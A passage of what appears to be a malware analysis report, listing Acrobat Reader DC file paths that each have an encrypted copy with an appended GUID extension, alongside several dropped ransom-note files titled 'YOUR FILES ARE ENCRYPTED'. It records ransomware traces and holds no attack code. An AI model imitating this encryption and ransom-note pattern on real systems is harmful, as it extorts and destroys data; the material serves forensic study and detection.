- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\info.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\main.css.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\DarkTheme.acrotheme",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\DarkTheme.acrotheme.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\LightTheme.acrotheme",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\LightTheme.acrotheme.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef.css.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-high-contrast.css.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\acrobat_parcel_generic_32.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\acrobat_parcel_generic_32.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\AddressBook.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\AddressBook.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\AddressBook2x.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\AddressBook2x.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\back-arrow-default.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\back-arrow-default.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\back-arrow-disabled.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\back-arrow-disabled.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\back-arrow-down.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\back-arrow-down.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\back-arrow-focus.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\back-arrow-focus.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\back-arrow-hover.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\back-arrow-hover.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud_retina.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\Close.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\Close.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\Close2x.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\Close2x.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\close_x.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\comment.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\comment.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\createpdf.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\createpdf.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\delete.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\delete.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\download.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\download.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\duplicate.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\duplicate.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\editpdf.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\editpdf.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\export.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\export.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\fillandsign.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\fillandsign.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\japanese_over.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\large_trefoil_2x.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\logo_retina.png.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\move.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\move.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\next-arrow-default.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\next-arrow-default.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\next-arrow-disabled.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\next-arrow-disabled.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\next-arrow-down.svg",
- "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\next-arrow-down.svg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
